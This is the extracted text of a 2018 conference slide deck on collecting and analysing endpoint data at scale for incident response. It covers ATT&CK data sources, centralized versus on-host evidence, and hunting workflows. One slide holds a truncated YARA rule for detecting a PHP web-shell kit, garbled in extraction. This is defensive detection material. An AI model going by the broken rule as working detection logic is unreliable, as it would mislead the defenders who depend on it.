Slide 1

Slide 1 text

Tanium February 28, 2018 @ryankaz42 Sipping from the Firehose: Scalable Endpoint Data for Incident Response Ryan Kazanciyan, Chief Security Architect

Slide 2

Slide 2 text

whoami

Slide 3

Slide 3 text

3 Alexandria, VA

Slide 4

Slide 4 text

4 2004 - 2009 2009 - 2015 2015 - Present

Slide 5

Slide 5 text

5

Slide 6

Slide 6 text

6

Slide 7

Slide 7 text

Why this topic?

Slide 8

Slide 8 text

8 • Endpoints are the ultimate security perimeter • We’re in a golden age of endpoint security tools and data… • …but we still struggle with scale, efficiency, and effectiveness

Slide 9

Slide 9 text

WHAT DATA SHOULD I PRIORITIZE FOR ENDPOINT DETECTION AND RESPONSE… 
 AND WHERE DO I PUT IT?

Slide 10

Slide 10 text

Common Challenges

Slide 11

Slide 11 text

11 You have a much wider variety of endpoint data than you expect

Slide 12

Slide 12 text

12 …but all you need is a best-of-breed Endpoint Protection product, right?
 
 (wrong)

Slide 13

Slide 13 text

• “Black box” flight recorder
 • Limited to the most common event-based data (process execution, file changes, network connections, etc.)
 • High-volume, high-value EDR telemetry 13

Slide 14

Slide 14 text

MITRE ATT&CK Framework 14 https://attack.mitre.org/wiki/Technique_Matrix

Slide 15

Slide 15 text

• Access Tokens • Anti-virus • API monitoring • Authentication logs • Binary file metadata • BIOS • Browser extensions • Data loss prevention • Digital Certificate Logs • DLL monitoring • EFI • Environment variable • File monitoring • Host network interface • Kernel drivers • Loaded DLLs • MBR & VBR • Netflow • Network device logs • Network protocol analysis • Packet capture • PowerShell logs • Process command-line parameters • Process monitoring • Process use of network • Sensor health and status • Services • SSL/TLS inspection • System calls • Third-party application logs • User interface • Windows Error Reporting • Windows event logs • Windows Registry • WMI Objects Data sources per MITRE ATT&CK 15

Slide 16

Slide 16 text

• Access Tokens • Anti-virus • API monitoring • Authentication logs • Binary file metadata • BIOS • Browser extensions • Data loss prevention • Digital Certificate Logs • DLL monitoring • EFI • Environment variable • File monitoring • Host network interface • Kernel drivers • Loaded DLLs • MBR & VBR • Netflow • Network device logs • Network protocol analysis • Packet capture • PowerShell logs • Process command-line parameters • Process monitoring • Process use of network • Sensor health and status • Services • SSL/TLS inspection • System calls • Third-party application logs • User interface • Windows Error Reporting • Windows event logs • Windows Registry • WMI Objects What do most EDR tools focus on? 16

Slide 17

Slide 17 text

17

Slide 18

Slide 18 text

18

Slide 19

Slide 19 text

19

Slide 20

Slide 20 text

20

Slide 21

Slide 21 text

21

Slide 22

Slide 22 text

22

Slide 23

Slide 23 text

23

Slide 24

Slide 24 text

24

Slide 25

Slide 25 text

25

Slide 26

Slide 26 text

26

Slide 27

Slide 27 text

27

Slide 28

Slide 28 text

28

Slide 29

Slide 29 text

• What sources of data? • What can be centralized? • What must be examined on-endpoint? • What’s your cadence to collect? • What’s your cadence to analyze? You cannot capture everything, constantly 29

Slide 30

Slide 30 text

• Typical endpoint sources • Alerting tools • Telemetry tools • Critical logs (limited to select systems)
 • Ideal for correlation with non-endpoint sources, aggregate data analysis
 • Resource constrained by event forwarding and storage over time Centralized approach 30

Slide 31

Slide 31 text

• Broadest set of available data: • Volatile / in-memory • Files and artifacts on-disk • Locally stored telemetry and logs • Often difficult to efficiently search and collect at-scale On-endpoint evidence 31

Slide 32

Slide 32 text

32 rule PAS_TOOL_PHP_WEB_KIT { meta: description = "PAS TOOL PHP WEB KIT FOUND" strings: $php = " 20KB and filesize < 22KB) and #cookie == 2 and #isset == 3 and all of them } Searching web server files with Yara On-endpoint example #1

Slide 33

Slide 33 text

On-endpoint example #2 33 Hunting for a unique event in a non-forwarded log

Slide 34

Slide 34 text

34 Your endpoints are noisier than you might expect…

Slide 35

Slide 35 text

• Different OS versions, add-ons, and regional variants • User applications • Enterprise applications • Randomized file paths, GUIDs, and other per-host unique artifacts • Churn from updates & patches Your software is noisy 35 Examining operating system, application, and script usage at-scale

Slide 36

Slide 36 text

5-7 per host 1-3 per host Large networks (>100k endpoints) Small networks (<100k endpoints) * Measured by total unique instances of installed application versions

Slide 37

Slide 37 text

230,000 systems 400,000 unique
 application + version pairings

Slide 38

Slide 38 text

38 “Using Endpoint Telemetry to Accelerate the Baseline”, McCammon,
 https://www.sans.org/summit-archives/file/summit-archive-1492181402.pdf

Slide 39

Slide 39 text

What trade-offs do we make?

Slide 40

Slide 40 text

TUNNEL VISION

Slide 41

Slide 41 text

“Let’s focus on critical systems” 41

Slide 42

Slide 42 text

COGNITIVE LOAD

Slide 43

Slide 43 text

43 Your analysts are overwhelmed

Slide 44

Slide 44 text

44 Your analysts are overwhelmed

Slide 45

Slide 45 text

Iterating on an hunting technique 45 “How often do legitimate Windows applications run PowerShell encoded commands?” 1 2 3 4 5 “Oops. 10% of our endpoints produce 1000s of false positives per day. Too much noise. “Let’s apply some client-side filters to the data and try again.” “Eureka!” Now let’s collect, centralize, and analyze the data over time.” “Find all the evil things!” Ask a 
 question Get unexpected results Learn and refine Add to workflow Success!

Slide 46

Slide 46 text

Common inhibitors 46 1 2 3 4 5 Ask a 
 question Get unexpected results Learn and refine Add to workflow Success! • Expensive or slow to test at-scale • Can only work with pre-selected data • Contend for resources with other workflows 
 “Will this break something?”…“Take too long?”…“I guess I won’t try…”

Slide 47

Slide 47 text

Taking a balanced approach

Slide 48

Slide 48 text

48 Open platform to consolidate and analyze EDR data with other sources of evidence

Slide 49

Slide 49 text

49

Slide 50

Slide 50 text

50

Slide 51

Slide 51 text

51

Slide 52

Slide 52 text

52

Slide 53

Slide 53 text

Finding a story in the data 53

Slide 54

Slide 54 text

Finding a story in the data (a better way) 54

Slide 55

Slide 55 text

with Integrating

Slide 56

Slide 56 text

56 Real-time visibility and control - across any number of endpoints - from a single server

Slide 57

Slide 57 text

57

Slide 58

Slide 58 text

Distributed access to endpoint data 58 Full-disk index, files at-rest, OS configuration 
 and forensic artifacts Volatile memory and short-lived / stateful evidence Historical EDR telemetry, OS logs, application logs Efficient data aggregation, and a single source of truth

Slide 59

Slide 59 text

Search, collect, and analyze at-scale 59 1 2 3 4 5 Ask a 
 question Get unexpected results Learn and refine Add to workflow Success! Experiment without penalty, with results in seconds

Slide 60

Slide 60 text

Demo Video

Slide 61

Slide 61 text

61

Slide 62

Slide 62 text

62 More Questions? Visit me at the AMA

Slide 63

Slide 63 text

Tanium February 28, 2018 @ryankaz42 Sipping from the Firehose: Scalable Endpoint Data for Incident Response Ryan Kazanciyan, Chief Security Architect